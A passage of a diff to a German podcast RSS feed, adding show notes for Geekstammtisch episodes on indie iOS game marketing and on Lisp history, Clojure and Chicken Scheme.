+<li>Budget pro Tag</li>
+<li>Im Detail die Zielgruppe bestimmen
+
+<ul>
+<li>Nur Spiele-Interessierte</li>
+<li>Nur iOS-Nutzer</li>
+<li>etc.</li>
+</ul></li>
+<li>Apple Verkaufsstatistiken sind verzögert</li>
+<li>Promo-Codes
+
+<ul>
+<li>Anschreiben wegen Promo-Codes</li>
+<li>Bewertung schreiben im App-Store</li>
+</ul></li>
+<li>Wurde angeschrieben von YouTube-App-Reviewer
+
+<ul>
+<li>1 Review für Lau (paar hundert Views pro Video)</li>
+<li>1 Review für 350 USD (Views im tausender Bereich)</li>
+</ul></li>
+</ul>
+
+<h3>Monetarisierung als Indie-Game-Entwickler (01:33:57)</h3>
+
+<ul>
+<li>Interview mit Michael Contento <a href="http://www.gamasutra.com/blogs/RuthWilson/20130827/199049/CREATING_GAMES_FOR_KIDS_HOW_TO_FIND_AND_TEST_CONTENT_MONETIZE_AND_MARKET_YOUR_GAME.php">http://www.gamasutra.com/blogs/RuthWilson/20130827/199049/CREATING_GAMES_FOR_KIDS_HOW_TO_FIND_AND_TEST_CONTENT_MONETIZE_AND_MARKET_YOUR_GAME.php</a></li>
+<li>Cross-Platform-Entwickler</li>
+<li>Spieler für Kinder</li>
+<li>Free2Play</li>
+<li>In-App-Purchase
+
+<ul>
+<li>Werbung ausblenden</li>
+<li>Weitere Level kaufen</li>
+</ul></li>
+<li>Interview: Welche Herausforderungen bei diesem Ansatz
+
+<ul>
+<li>Ansazt auf Masse</li>
+<li>Andere Strategien da man alleine ist</li>
+<li>Marketing ist teuer</li>
+</ul></li>
+<li>Ziel: Spiel muss in die Top-Charts kommen</li>
+<li>Einkaufen von Reviews, Pressemitteilungen und Downloads</li>
+<li>Preise hoch/runter setzen um auf Crawling-Seiten zu erscheinen</li>
+</ul>
+
+<h3>Zusammenfassung (01:38:04)</h3>
+
+<ul>
+<li>Game-Entwicklung cool</li>
+<li>Marketing uncool</li>
+<li>Weitere Links:
+
+<ul>
+<li>iOS 5 By Tutorials (<a href="http://www.raywenderlich.com/store/ios-5-by-tutorials">http://www.raywenderlich.com/store/ios-5-by-tutorials</a>)</li>
+<li>iOS 6 By Tutorials (<a href="http://www.raywenderlich.com/store/ios-6-by-tutorials">http://www.raywenderlich.com/store/ios-6-by-tutorials</a>)</li>
+</ul></li>
+</ul>
+]]></description>
+ <atom:link rel="http://podlove.org/deep-link" href="http://geekstammtisch.de#GST024" />
+
+
+ <psc:chapters>
+
+ <psc:chapter start="00:00:00" title="Intro" />
+
+ <psc:chapter start="00:01:50" title="Unser Gast" />
+
+ <psc:chapter start="00:04:00" title="Browser Spieleentwicklung" />
+
+ <psc:chapter start="00:07:00" title="iOS Spieleentwicklung" />
+
+ <psc:chapter start="00:16:20" title="Grafiken" />
+
+ <psc:chapter start="00:28:52" title="Sound &amp; Music erstellen" />
+
+ <psc:chapter start="00:33:53" title="Super Spell Boy" />
+
+ <psc:chapter start="00:43:50" title="Kollisionserkennung" />
+
+ <psc:chapter start="00:50:00" title="Gesten" />
+
+ <psc:chapter start="00:57:35" title="Sound und Musik abspielen" />
+
+ <psc:chapter start="00:58:59" title="Entwicklungsprozess" />
+
+ <psc:chapter start="01:00:55" title="Testen" />
+
+ <psc:chapter start="01:02:09" title="Zum Schluss: Menüs, Logo, Settings etc." />
+
+ <psc:chapter start="01:04:20" title="Balancing" />
+
+ <psc:chapter start="01:06:25" title="Entwicklungsdauer" />
+
+ <psc:chapter start="01:08:50" title="SpriteKit" />
+
+ <psc:chapter start="01:15:10" title="Preisfindung" />
+
+ <psc:chapter start="01:25:01" title="Marketing" />
+
+ <psc:chapter start="01:33:57" title="Monetarisierung als Indie-Game-Entwickler" />
+
+ <psc:chapter start="01:38:04" title="Zusammenfassung" />
+
+ </psc:chapters>
+
+ </item>
+
+ <item>
+ <title>GST025 - Vom Tellerwäscher zum Lisp-Entwickler</title>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:author>Dirk Breuer, Sebastian Cohnen</itunes:author>
+ <itunes:subtitle>Mit Moritz Heidkamp über die Geschichte und das Ökosystem von Lisp</itunes:subtitle>
+ <enclosure url="http://media.geekstammtisch.de/episodes/gst025.mp3" length="71525953" type="audio/mpeg"/>
+ <guid isPermaLink="false">GST025</guid>
+ <pubDate>Mon, 21 Oct 2013 18:56:59 +0200</pubDate>
+ <itunes:duration>01:38:57</itunes:duration>
+ <itunes:summary><![CDATA[Synopsis: Wir hatten Moritz Heidkamp aus Köln auf unserer Couch zu Gast und sprachen mit ihm über Lisp. Wir haben dabei ganz vorne bei John McCarthy angefangen und uns dann bis in die Gegenwart zu Clojure durchgebissen. Auf dem Weg dorthin lernen wir, wie zersplittert die Lisp-Gemeinde schon immer war und wohl auch immer sein wird. Was daraus für Probleme entstehen, aber vor allem welche Möglichkeiten es eröffnet. Den Abschluss macht ein Rückblick der EuroClojure und einige Buchempfehlungen für Einsteiger.
+
+### Intro (00:00:00)
+
+ * Bierüberschuss im Home Office
+ * 6th Cologne Web Performance Meetup: http://www.meetup.com/cologne-germany-high-performance-website-optimization-group/events/118740262/
+
+### Unser Gast (00:01:15)
+
+ * Moritz Heidkamp, @DerGuteMoritz, http://ceaude.twoticketsplease.de/
+ * Softwareentwickler seit 2006
+ * wollte ursprünglich mal Deutsch- und Geschichtslehrer werden
+ * studiert nun (ein bisschen) Informationsverarbeitung an der Uni Köln (Crossover aus Informatik und Geisteswissenschaften)
+ * Gründungsmitglied RuRuG, der Vorläufer der heutigen cologne.rb (http://colognerb.de)
+
+### Informatik an den Schulen (00:05:55)
+
+ * Moritz hatte einen guten Informatiklehrer
+ * Basti leider nicht :-/
+ * Wir fragen uns, ob es Informatik auf Lehramt gibt
+ * Weil Informatiklehrer ja oft gar keine Informatiker sind
+ * Rasberry Pi: http://www.raspberrypi.org
+
+### Von Ruby zu Lisp (00:10:58)
+
+ * Moritz suchte eine Alternative zu Ruby und fand Lisp: http://de.wikipedia.org/wiki/Lisp
+ * arbeitet für [bevuta IT](http://www.bevuta.com/), wo u.a. Lisp kommerziell eingesetzt wird
+ * Moritz macht auch Erlang bei bevuta
+
+### Elixir (00:14:23)
+
+ * Elixir (http://elixir-lang.org/): "Elixir is a functional, meta-programming aware language built on top of the Erlang VM"
+ * Reia (http://reia-lang.org/): "Reia is a Ruby-like scripting language for the Erlang virtual machine."
+ * PeepCode "Meet Elixir" mit José Valim: https://peepcode.com/products/elixir
+ * Joe Armstrong über Elixir: http://joearms.github.io/2013/05/31/a-week-with-elixir.html
+ * Prolog: http://en.wikipedia.org/wiki/Prolog
+ * Basti sieht die Gefahr, das Elixir und Ruby sich zu ähnlich sehen und das zu Verwirrungen führen könnte
+ * Elixir macht einen schönen, konsistenten Eindruck
+ * Tsung: http://tsung.erlang-projects.org
+
+### Lisp, eine Historie (00:25:30)
+
+ * Clojure: http://clojure.org/
+ * Joxa (http://joxa.org/), a concurrent distributed Lisp
+ * The Concurrent Schemer: http://the-concurrent-schemer.github.io/scm-doc/)
+ * The History of Lisp: http://www-formal.stanford.edu/jmc/history/lisp/lisp.html)
+ * John McCarthy: http://en.wikipedia.org/wiki/John_McCarthy_(computer_scientist)
+ * Lambda-Kalkül: http://de.wikipedia.org/wiki/Lambda-Kalk%C3%BCl
+ * Java: Lambda Expressions: http://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html
+ * Listen als Programme: (Operator Operant1 Operant2 ...)
+ * S-expression, "symbolic expression": http://en.wikipedia.org/wiki/S-expression
+ * M-expression, "meta expression": http://en.wikipedia.org/wiki/M-expression
+ * Scheme: http://en.wikipedia.org/wiki/Scheme_(programming_language)
+ * Ruby 2.1: Methoden Definitionen geben nun den Methoden Namen als Symbol zurück: http://rkh.im/ruby-2.1
+ * Wir sprechen über den semantischen Unterschied von Symbolen und Strings
+ * PicoLisp, ein minimalistisches Lisp: http://picolisp.com
+ * Clojure hat dagegen ein deutlich reicheres Set an Datenstrukturen
+ * Clojure legt viel Wert auf Immutability
+ * Common Lisp: http://en.wikipedia.org/wiki/Common_Lisp
+ * Emacs: http://www.gnu.org/software/emacs/
+ * Es gibt verschiedene Modell Lisp laufen zu lassen: kompiliert, interpretiert, beides :)
+ * Stalin, ein Scheme Compiler, "Stalin brutally optimizes.": http://en.wikipedia.org/wiki/Stalin_(scheme_implementation)
+ * In akademischen Veröffentlichung wird oft ein Lisp als Beispielsprache verwendet
+ * Insgesamt ist es sehr vielfältig, aber dabei (vielleicht) zu vielfältig
+ * In der Regel sind die Dialekte nicht untereinander kompatibel
+ * Die Lisp-Community neigt dazu, immer wieder neue Dialekte zu schaffen. Bedingt durch die Einfachheit dies zu tun.
+ * Keine Konvergenz in Sicht :-)
+ * In den 70er gab es bereits einen unüberschaubaren Wildwuchs an Dialekten. Daher die Initiative einen gemeinsamen Standard zu schaffen: Common Lisp, weil Standard Lisp gab es schon ^^
+ * Hat bis in die 90er gedauert!
+ * Ist jetzt aber ein ANSI-Standard
+ * Entwicklung des Standards über Mail, Archiv: ftp://ftp.cs.rochester.edu/pub/archives/lisp-standards/
+ * Ergebnis: 2000 Seiten langer Standard, Sprache inkl. Standard Bibliothek
+ * Guy Steele hat in Form eines Buches vor Verabschiedung des Standards einfach Tatsachen geschaffen: https://en.wikipedia.org/wiki/Common_Lisp_the_Language
+
+### Lisp in der Praxis (00:56:17)
+
+ * Probleme für den realen Einsatz ergeben sich durch die vielen Unterschiede allerdings weniger als man denkt
+ * Trotzdem ist es ein Problem, dass sehr viel Energie "verloren" geht: Die tolle Bibliothek A lässt sich dann nicht in Lisp X verwenden
+ * Man muss das Rad zwar relativ oft neu erfinden, aber es gibt zumindest einige Implementierung mit einer kleinen Community und Infrastruktur
+ * Bei bevuta wird Chicken Scheme (http://www.call-cc.org/) eingesetzt und man kann etwa auf 500 Erweiterungen zugreifen ("Eggs", lassen sich ähnlich wie Rubygems installieren)
+ * Insgesamt extremer Gegensatz zu Java: Bis ins letzte spezifizierte Sprache mit definiertem Verhalten
+ * Stichwort Java: Clojure versucht den Nachteil von zu wenig Bibliotheken so auszugleichen, dass man auf Java-Bibliotheken zugreifen kann
+ * Problem: Das Programmiermodell von Java passt nicht zu dem von Clojure
+ * Die Abbildung von Java-Objekten in Clojure und deren Verwendung ist Aufgabe des Entwicklers
+ * Für jede Klasse muss im Grunde eine neue Sprache gelernt werden
+ * Eine Möglichkeit ist zum Beispiel Attribute aus einem Java-Objekt in eine Clojure-Map zu übertragen
+ * Beispiel: Ring (https://github.com/ring-clojure/ring) übersetzt Requests aus Java-Webservern in Clojure-Maps und zurück
+ * Lisps versuchen in der Regel alles auf Listen abzubilden, weil dafür gibt es schon alle Operationen
+ * Klassen sind hingegen durch die Vorgaben des Entwicklers in ihrer Verwendung eingeschränkt
+ * Zwei Kulturen treffen aufeinander, dazu gibt es von Rich Hickey (Clojure) einige gute Talks: https://www.youtube.com/watch?v=rI8tNMsozo0
+ * Andere Ansätze/Modelle können/sollten Anregungen für die eigene "Welt" geben (z.B.: Immutability lässt sich auch in anderen Sprachen verwenden)
+ * bevuta versucht so viel wie möglich in Scheme zu machen, aber gerade bei Mobilentwicklung ist das leider nicht möglich
+ * Theoretisch läuft Clojure zwar auf Android, ist dort aber viel zu langsam
+ * Aber: Die Businesslogik kann in Scheme geschrieben werden und wird anschließend nach C kompiliert, um das dann in Objective-C und Java (via JNI) einzubinden
+ * Notwendiger Glue-Code ist sehr wenig, vor allem im Fall von Objective-C, JNI ist da anstrengender
+ * Auch als Script-Sprache lässt sich Scheme ohne weiteres verwenden
+ * Moritz macht alles™ in Emacs (soweit möglich), z.B.: Email, Todo-App. Gibt sogar einen PDF-Reader
+ * Man könnte Emacs auch als Shell booten und dann aus Emacs bei Bedarf Shells starten, dabei kollidieren aber Keybindings (vor allem bei ncurses-Anwendungen). Also nicht so toll.
+ * Stichwort Emacs als Betriebssystem: Es gab in den 70er- und 80er-Jahren auch Lisp-Maschinen: https://de.wikipedia.org/wiki/Lisp-Maschine
+ * Wie die genau funktionieren ist bei uns dünnes Eis ^^
+ * Entwicklung wurde dann Ende der 80er eingestellt, weil die Forschungsgelder im Bereich künstliche Intellegenz (vor allem vom Militär) zusammengestrichen wurden
+
+### EuroClojure (01:15:55)
+
+ * Moritz war auf der EuroClojure in Berlin: http://euroclojure.com/2013/, ist die europäische Clojure Konferenz (~ 300 Teilnehmer)
+ * Ansonsten ist Clojure sehr amerikanisch geprägt
+ * Inhalt aber nicht ausschließlich Clojure, 2 Präsentationen über das eigene Lisp ;-)
+ * Toy Lisp: https://www.google.com/search?q=toy%20lisp
+ * Moritz hat mal eine Liste von Lisp-Implementierungen in Javascript zusammengestellt: Ergebnis 50+
+ * Real-World-Clojure-Projekte auf der Konferenz:
+ * dailymail.co.uk: Hat ihr uraltes Backend im laufenden Betrieb auf Clojure umgestellt
+ * "Internet of Things"-Plattform ist von Rails nach Clojure migriert; Grund für Clojure war, sie haben am meisten in der kürzesten Zeit erreicht (im Vergleich zu anderen Technologien)
+ * Clojures Webstack ist bereits sehr ausgereift, u.a. weil viele Ruby-Entwickler zu Clojure gegangen sind und Konzepte mitgenommen haben (Bsp.: Ring ist von Rack inspiriert)
+ * Leider keine Aufzeichnung der Talks :-(
+ * Besonders Schade um die Keynote:
+ * Verhältnis zwischen der perfekten Architektur und der Abwesenheit von Architektur
+ * Brasília als Beispiel von perfekt geplanter Stadt und dennoch wenig brauchbar
+ * Beispiel von Städteplanung auf Softwareentwicklung
+ * Java EE vs. PHP Frickelshop: Beides kann man nicht wirklich benutzen
+ * Fazit: Ein gute Mischung von Struktur und Chaos finden
+ * Moritz kann die Konferenz empfehlen, auch für Leute die sonst kein Clojure machen
+ * Clojure ist auch in der Lisp-Community schnell aufgestiegen und gehört mittlerweile zu den Top-3
+ * Positive Auswirkungen des Clojure-Hypes auf die Akzeptanz von Lisp konnte Moritz noch nicht feststellen
+
+### Getting Started (01:30:41)
+
+ * Clojure hat eine sehr viel freundlichere Community als etwa Common Lisp, vergleichbar mit der von Ruby
+ * Moritz selbst bewegt sich vor allem im Chicken Scheme Umfeld und der Entwickler mittlerweile ist auch bei bevuta eingestellt
+ * Chicken Scheme hat auch eine angenehme Community in der man auch Einsteigern gerne weiterhilft (ähnlich zu Clojure)
+ * Clojure und Chicken sind daher auf jeden Fall die Empfehlung für den Einstieg
+ * Das Problem ist allerdings gutes Tutorial-Material zu bekommen:
+ * Clojure ist da ganz gut aufgestellt, auch mit Büchern für Einsteiger
+ * Die anderen Lisps tun sich damit sehr schwer
+ * Ein gutes Buch für Common Lisp ist "Practical Common Lisp" von Peter Seibel (http://www.amazon.de/Practical-Common-Lisp-Peter-Seibel/dp/1590592395)
+ * Auch für Common Lisp ist "Land of Lisp" von Conrad Barski (http://www.amazon.de/Land-Lisp-Learn-Program-Game/dp/1593272812/ref=sr_1_1?s=books-intl-de&ie=UTF8&qid=1382353124&sr=1-1&keywords=The+land+of+lisp)
+ * Für Scheme sieht es da eher düster aus. Hauptwerk ist "Structure and Interpretation of Computer Programs" (http://www.amazon.de/Structure-Interpretation-Computer-Electrical-Engineering/dp/0262510871/ref=sr_1_1?s=books-intl-de&ie=UTF8&qid=1382353230&sr=1-1&keywords=Structure+and+Interpretation+of+Computer+Programs) was sehr akademisch ist. Weil es das ehemalige Lehrbuch des MIT ist.
+ * Von den Vorlesungen (Anfang der 80er) gibt es sogar noch Videoaufzeichnungen
+ * Usergroups in Köln:
+ * Cologne Clojure: http://www.meetup.com/clojure-cologne (gibt aber auch was anderes als Clojure), Treffen in der Bottmühle
+ * Moritz wollte mal eine Gruppe machen für Sprachen die eigentlich keine Rolle spielen , ähnlich der FringeDC von Conrad Barski (gibt es aber auch nicht mehr)]]></itunes:summary>
+ <description><![CDATA[<p>Synopsis: Wir hatten Moritz Heidkamp aus Köln auf unserer Couch zu Gast und sprachen mit ihm über Lisp. Wir haben dabei ganz vorne bei John McCarthy angefangen und uns dann bis in die Gegenwart zu Clojure durchgebissen. Auf dem Weg dorthin lernen wir, wie zersplittert die Lisp-Gemeinde schon immer war und wohl auch immer sein wird. Was daraus für Probleme entstehen, aber vor allem welche Möglichkeiten es eröffnet. Den Abschluss macht ein Rückblick der EuroClojure und einige Buchempfehlungen für Einsteiger.</p>
+
+<h3>Intro (00:00:00)</h3>
+
+<ul>
+<li>Bierüberschuss im Home Office</li>
+<li>6th Cologne Web Performance Meetup: <a href="http://www.meetup.com/cologne-germany-high-performance-website-optimization-group/events/118740262/">http://www.meetup.com/cologne-germany-high-performance-website-optimization-group/events/118740262/</a></li>
+</ul>
+
+<h3>Unser Gast (00:01:15)</h3>
+
+<ul>
+<li>Moritz Heidkamp, <a href="https://twitter.com/DerGuteMoritz">@DerGuteMoritz</a>, <a href="http://ceaude.twoticketsplease.de/">http://ceaude.twoticketsplease.de/</a></li>
+<li>Softwareentwickler seit 2006</li>
+<li>wollte ursprünglich mal Deutsch- und Geschichtslehrer werden</li>
+<li>studiert nun (ein bisschen) Informationsverarbeitung an der Uni Köln (Crossover aus Informatik und Geisteswissenschaften)</li>
+<li>Gründungsmitglied RuRuG, der Vorläufer der heutigen cologne.rb (<a href="http://colognerb.de">http://colognerb.de</a>)</li>
+</ul>
+
+<h3>Informatik an den Schulen (00:05:55)</h3>
+
+<ul>
+<li>Moritz hatte einen guten Informatiklehrer</li>
+<li>Basti leider nicht :-/</li>
+<li>Wir fragen uns, ob es Informatik auf Lehramt gibt</li>
+<li>Weil Informatiklehrer ja oft gar keine Informatiker sind</li>
+<li>Rasberry Pi: <a href="http://www.raspberrypi.org">http://www.raspberrypi.org</a></li>
+</ul>
+
+<h3>Von Ruby zu Lisp (00:10:58)</h3>
+
+<ul>
+<li>Moritz suchte eine Alternative zu Ruby und fand Lisp: <a href="http://de.wikipedia.org/wiki/Lisp">http://de.wikipedia.org/wiki/Lisp</a></li>
+<li>arbeitet für <a href="http://www.bevuta.com/">bevuta IT</a>, wo u.a. Lisp kommerziell eingesetzt wird</li>
+<li>Moritz macht auch Erlang bei bevuta</li>
+</ul>
+
+<h3>Elixir (00:14:23)</h3>
+
+<ul>
+<li>Elixir (<a href="http://elixir-lang.org/):">http://elixir-lang.org/):</a> &quot;Elixir is a functional, meta-programming aware language built on top of the Erlang VM&quot;</li>
+<li>Reia (<a href="http://reia-lang.org/):">http://reia-lang.org/):</a> &quot;Reia is a Ruby-like scripting language for the Erlang virtual machine.&quot;</li>
+<li>PeepCode &quot;Meet Elixir&quot; mit José Valim: <a href="https://peepcode.com/products/elixir">https://peepcode.com/products/elixir</a></li>
+<li>Joe Armstrong über Elixir: <a href="http://joearms.github.io/2013/05/31/a-week-with-elixir.html">http://joearms.github.io/2013/05/31/a-week-with-elixir.html</a></li>
+<li>Prolog: <a href="http://en.wikipedia.org/wiki/Prolog">http://en.wikipedia.org/wiki/Prolog</a></li>
+<li>Basti sieht die Gefahr, das Elixir und Ruby sich zu ähnlich sehen und das zu Verwirrungen führen könnte</li>
+<li>Elixir macht einen schönen, konsistenten Eindruck</li>
+<li>Tsung: <a href="http://tsung.erlang-projects.org">http://tsung.erlang-projects.org</a></li>
+</ul>
+
+<h3>Lisp, eine Historie (00:25:30)</h3>
+
+<ul>
+<li>Clojure: <a href="http://clojure.org/">http://clojure.org/</a></li>
+<li>Joxa (<a href="http://joxa.org/">http://joxa.org/</a>), a concurrent distributed Lisp</li>
+<li>The Concurrent Schemer: <a href="http://the-concurrent-schemer.github.io/scm-doc/">http://the-concurrent-schemer.github.io/scm-doc/</a>)</li>
+<li>The History of Lisp: <a href="http://www-formal.stanford.edu/jmc/history/lisp/lisp.html">http://www-formal.stanford.edu/jmc/history/lisp/lisp.html</a>)</li>
+<li>John McCarthy: <a href="http://en.wikipedia.org/wiki/John_McCarthy_(computer_scientist)">http://en.wikipedia.org/wiki/John_McCarthy_(computer_scientist)</a></li>
+<li>Lambda-Kalkül: <a href="http://de.wikipedia.org/wiki/Lambda-Kalk%C3%BCl">http://de.wikipedia.org/wiki/Lambda-Kalk%C3%BCl</a></li>
+<li>Java: Lambda Expressions: <a href="http://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html">http://docs.oracle.com/javase/tutorial/java/javaOO/lambdaexpressions.html</a></li>
+<li>Listen als Programme: (Operator Operant1 Operant2 ...)</li>
+<li>S-expression, &quot;symbolic expression&quot;: <a href="http://en.wikipedia.org/wiki/S-expression">http://en.wikipedia.org/wiki/S-expression</a></li>
+<li>M-expression, &quot;meta expression&quot;: <a href="http://en.wikipedia.org/wiki/M-expression">http://en.wikipedia.org/wiki/M-expression</a></li>
+<li>Scheme: <a href="http://en.wikipedia.org/wiki/Scheme_(programming_language)">http://en.wikipedia.org/wiki/Scheme_(programming_language)</a></li>
+<li>Ruby 2.1: Methoden Definitionen geben nun den Methoden Namen als Symbol zurück: <a href="http://rkh.im/ruby-2.1">http://rkh.im/ruby-2.1</a></li>
+<li>Wir sprechen über den semantischen Unterschied von Symbolen und Strings</li>
+<li>PicoLisp, ein minimalistisches Lisp: <a href="http://picolisp.com">http://picolisp.com</a></li>
+<li>Clojure hat dagegen ein deutlich reicheres Set an Datenstrukturen</li>
+<li>Clojure legt viel Wert auf Immutability</li>
+<li>Common Lisp: <a href="http://en.wikipedia.org/wiki/Common_Lisp">http://en.wikipedia.org/wiki/Common_Lisp</a></li>
+<li>Emacs: <a href="http://www.gnu.org/software/emacs/">http://www.gnu.org/software/emacs/</a></li>
+<li>Es gibt verschiedene Modell Lisp laufen zu lassen: kompiliert, interpretiert, beides :)</li>
+<li>Stalin, ein Scheme Compiler, &quot;Stalin brutally optimizes.&quot;: <a href="http://en.wikipedia.org/wiki/Stalin_(scheme_implementation)">http://en.wikipedia.org/wiki/Stalin_(scheme_implementation)</a></li>
+<li>In akademischen Veröffentlichung wird oft ein Lisp als Beispielsprache verwendet</li>
+<li>Insgesamt ist es sehr vielfältig, aber dabei (vielleicht) zu vielfältig</li>
+<li>In der Regel sind die Dialekte nicht untereinander kompatibel</li>
+<li>Die Lisp-Community neigt dazu, immer wieder neue Dialekte zu schaffen. Bedingt durch die Einfachheit dies zu tun.</li>
+<li>Keine Konvergenz in Sicht :-)</li>
+<li>In den 70er gab es bereits einen unüberschaubaren Wildwuchs an Dialekten. Daher die Initiative einen gemeinsamen Standard zu schaffen: Common Lisp, weil Standard Lisp gab es schon ^^</li>
+<li>Hat bis in die 90er gedauert!</li>
+<li>Ist jetzt aber ein ANSI-Standard</li>
+<li>Entwicklung des Standards über Mail, Archiv: <a href="ftp://ftp.cs.rochester.edu/pub/archives/lisp-standards/">ftp://ftp.cs.rochester.edu/pub/archives/lisp-standards/</a></li>
+<li>Ergebnis: 2000 Seiten langer Standard, Sprache inkl. Standard Bibliothek</li>
+<li>Guy Steele hat in Form eines Buches vor Verabschiedung des Standards einfach Tatsachen geschaffen: <a href="https://en.wikipedia.org/wiki/Common_Lisp_the_Language">https://en.wikipedia.org/wiki/Common_Lisp_the_Language</a></li>
+</ul>
+
+<h3>Lisp in der Praxis (00:56:17)</h3>
+
+<ul>
+<li>Probleme für den realen Einsatz ergeben sich durch die vielen Unterschiede allerdings weniger als man denkt</li>
+<li>Trotzdem ist es ein Problem, dass sehr viel Energie &quot;verloren&quot; geht: Die tolle Bibliothek A lässt sich dann nicht in Lisp X verwenden</li>
+<li>Man muss das Rad zwar relativ oft neu erfinden, aber es gibt zumindest einige Implementierung mit einer kleinen Community und Infrastruktur</li>
+<li>Bei bevuta wird Chicken Scheme (<a href="http://www.call-cc.org/">http://www.call-cc.org/</a>) eingesetzt und man kann etwa auf 500 Erweiterungen zugreifen (&quot;Eggs&quot;, lassen sich ähnlich wie Rubygems installieren)</li>
+<li>Insgesamt extremer Gegensatz zu Java: Bis ins letzte spezifizierte Sprache mit definiertem Verhalten</li>
+<li>Stichwort Java: Clojure versucht den Nachteil von zu wenig Bibliotheken so auszugleichen, dass man auf Java-Bibliotheken zugreifen kann</li>
+<li>Problem: Das Programmiermodell von Java passt nicht zu dem von Clojure</li>
+<li>Die Abbildung von Java-Objekten in Clojure und deren Verwendung ist Aufgabe des Entwicklers</li>
+<li>Für jede Klasse muss im Grunde eine neue Sprache gelernt werden</li>
+<li>Eine Möglichkeit ist zum Beispiel Attribute aus einem Java-Objekt in eine Clojure-Map zu übertragen</li>
+<li>Beispiel: Ring (<a href="https://github.com/ring-clojure/ring">https://github.com/ring-clojure/ring</a>) übersetzt Requests aus Java-Webservern in Clojure-Maps und zurück</li>
+<li>Lisps versuchen in der Regel alles auf Listen abzubilden, weil dafür gibt es schon alle Operationen</li>
+<li>Klassen sind hingegen durch die Vorgaben des Entwicklers in ihrer Verwendung eingeschränkt</li>
+<li>Zwei Kulturen treffen aufeinander, dazu gibt es von Rich Hickey (Clojure) einige gute Talks: <a href="https://www.youtube.com/watch?v=rI8tNMsozo0">https://www.youtube.com/watch?v=rI8tNMsozo0</a></li>
+<li>Andere Ansätze/Modelle können/sollten Anregungen für die eigene &quot;Welt&quot; geben (z.B.: Immutability lässt sich auch in anderen Sprachen verwenden)</li>
+<li>bevuta versucht so viel wie möglich in Scheme zu machen, aber gerade bei Mobilentwicklung ist das leider nicht möglich
+
+<ul>
+<li>Theoretisch läuft Clojure zwar auf Android, ist dort aber viel zu langsam</li>
+</ul></li>
+<li>Aber: Die Businesslogik kann in Scheme geschrieben werden und wird anschließend nach C kompiliert, um das dann in Objective-C und Java (via JNI) einzubinden</li>
+<li>Notwendiger Glue-Code ist sehr wenig, vor allem im Fall von Objective-C, JNI ist da anstrengender</li>
+<li>Auch als Script-Sprache lässt sich Scheme ohne weiteres verwenden</li>
+<li>Moritz macht alles™ in Emacs (soweit möglich), z.B.: Email, Todo-App. Gibt sogar einen PDF-Reader</li>
+<li>Man könnte Emacs auch als Shell booten und dann aus Emacs bei Bedarf Shells starten, dabei kollidieren aber Keybindings (vor allem bei ncurses-Anwendungen). Also nicht so toll.</li>
+<li>Stichwort Emacs als Betriebssystem: Es gab in den 70er- und 80er-Jahren auch Lisp-Maschinen: <a href="https://de.wikipedia.org/wiki/Lisp-Maschine">https://de.wikipedia.org/wiki/Lisp-Maschine</a></li>
+<li>Wie die genau funktionieren ist bei uns dünnes Eis ^^</li>
+<li>Entwicklung wurde dann Ende der 80er eingestellt, weil die Forschungsgelder im Bereich künstliche Intellegenz (vor allem vom Militär) zusammengestrichen wurden</li>
+</ul>
+
+<h3>EuroClojure (01:15:55)</h3>
+
+<ul>
+<li>Moritz war auf der EuroClojure in Berlin: <a href="http://euroclojure.com/2013/">http://euroclojure.com/2013/</a>, ist die europäische Clojure Konferenz (~ 300 Teilnehmer)</li>
+<li>Ansonsten ist Clojure sehr amerikanisch geprägt</li>
+<li>Inhalt aber nicht ausschließlich Clojure, 2 Präsentationen über das eigene Lisp ;-)</li>
+<li>Toy Lisp: <a href="https://www.google.com/search?q=toy%20lisp">https://www.google.com/search?q=toy%20lisp</a></li>
+<li>Moritz hat mal eine Liste von Lisp-Implementierungen in Javascript zusammengestellt: Ergebnis 50+</li>
+<li>Real-World-Clojure-Projekte auf der Konferenz:
+
+<ul>
+<li>dailymail.co.uk: Hat ihr uraltes Backend im laufenden Betrieb auf Clojure umgestellt</li>
+<li>&quot;Internet of Things&quot;-Plattform ist von Rails nach Clojure migriert; Grund für Clojure war, sie haben am meisten in der kürzesten Zeit erreicht (im Vergleich zu anderen Technologien)</li>
+</ul></li>
+<li>Clojures Webstack ist bereits sehr ausgereift, u.a. weil viele Ruby-Entwickler zu Clojure gegangen sind und Konzepte mitgenommen haben (Bsp.: Ring ist von Rack inspiriert)</li>
+<li>Leider keine Aufzeichnung der Talks :-(</li>
+<li>Besonders Schade um die Keynote:
+
+<ul>
+<li>Verhältnis zwischen der perfekten Architektur und der Abwesenheit von Architektur</li>
+<li>Brasília als Beispiel von perfekt geplanter Stadt und dennoch wenig brauchbar</li>
+<li>Beispiel von Städteplanung auf Softwareentwicklung</li>
+<li>Java EE vs. PHP Frickelshop: Beides kann man nicht wirklich benutzen</li>
+<li>Fazit: Ein gute Mischung von Struktur und Chaos finden</li>
+</ul></li>
+<li>Moritz kann die Konferenz empfehlen, auch für Leute die sonst kein Clojure machen</li>
+<li>Clojure ist auch in der Lisp-Community schnell aufgestiegen und gehört mittlerweile zu den Top-3</li>
+<li>Positive Auswirkungen des Clojure-Hypes auf die Akzeptanz von Lisp konnte Moritz noch nicht feststellen</li>
+</ul>
+
+<h3>Getting Started (01:30:41)</h3>
+
+<ul>
+<li>Clojure hat eine sehr viel freundlichere Community als etwa Common Lisp, vergleichbar mit der von Ruby</li>
+<li>Moritz selbst bewegt sich vor allem im Chicken Scheme Umfeld und der Entwickler mittlerweile ist auch bei bevuta eingestellt</li>
+<li>Chicken Scheme hat auch eine angenehme Community in der man auch Einsteigern gerne weiterhilft (ähnlich zu Clojure)</li>
+<li>Clojure und Chicken sind daher auf jeden Fall die Empfehlung für den Einstieg</li>
+<li>Das Problem ist allerdings gutes Tutorial-Material zu bekommen:
+
+<ul>
+<li>Clojure ist da ganz gut aufgestellt, auch mit Büchern für Einsteiger</li>
+<li>Die anderen Lisps tun sich damit sehr schwer</li>
+<li>Ein gutes Buch für Common Lisp ist &quot;Practical Common Lisp&quot; von Peter Seibel (<a href="http://www.amazon.de/Practical-Common-Lisp-Peter-Seibel/dp/1590592395">http://www.amazon.de/Practical-Common-Lisp-Peter-Seibel/dp/1590592395</a>)</li>
